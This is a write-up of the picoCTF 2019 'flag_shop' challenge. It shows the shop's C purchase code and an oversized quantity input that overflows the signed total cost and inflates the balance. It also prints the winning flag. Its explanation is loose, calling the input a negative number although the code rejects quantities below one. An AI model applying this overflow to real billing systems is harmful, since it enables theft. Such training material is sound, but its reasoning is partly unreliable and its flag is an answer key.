


flag_shop

flag_shop 

 | 300 points

Tags: picoCTF 2019 General Skills

AUTHOR: DANNY

Description

There's a flag shop selling stuff, can you buy a flag? [Source](#). Connect with `nc jupiter.challenges.picoctf.org 9745`.

Hints 

1

25,934 users solved



96% Liked



picoCTF{FLAG}

Submit Flag

flag_shop challenge

In this challenge, we can check that in this C program there is a line that is responsible for decreasing the total cost. We can see that this is a signed integer. Manipulating signed integer, sometimes result in a change in positive and negative value of the number.

```
nutan — less store.c — 80x24
~/Downloads/nutan — less store.c
printf("These knockoff Flags cost 900 each, enter desired quantity\n");

int number_flags = 0;
fflush(stdin);
scanf("%d", &number_flags);
if(number_flags > 0){
    int total_cost = 0;
    total_cost = 900*number_flags;
    printf("\nThe final cost is: %d\n", total_cost);
    if(total_cost <= account_balance){
        account_balance = account_balance - total_cost;
        printf("\nYour current balance after transaction: %d\n\n", account_balance);
    }
    else{
        printf("Not enough funds to complete purchase\n");
    }
}
```

Here if we enter a big enough negative number it can change the signed integer of the current balance cost

```
Enter a menu selection
2
Currently for sale
1. Defintely not the flag Flag
2. 1337 Flag
1
These knockoff Flags cost 900 each, enter desired quantity
-273823723728

The final cost is: -422878016

Your current balance after transaction: 422879116

Welcome to the flag exchange
```

```
2
Currently for sale
1. Defintely not the flag Flag
2. 1337 Flag
2
1337 flags cost 100000 dollars, and we only have 1 in stock
Enter 1 to buy one1
YOUR FLAG IS: picoCTF{m0n3y_bag5_65d67a74}
Welcome to the flag exchange
```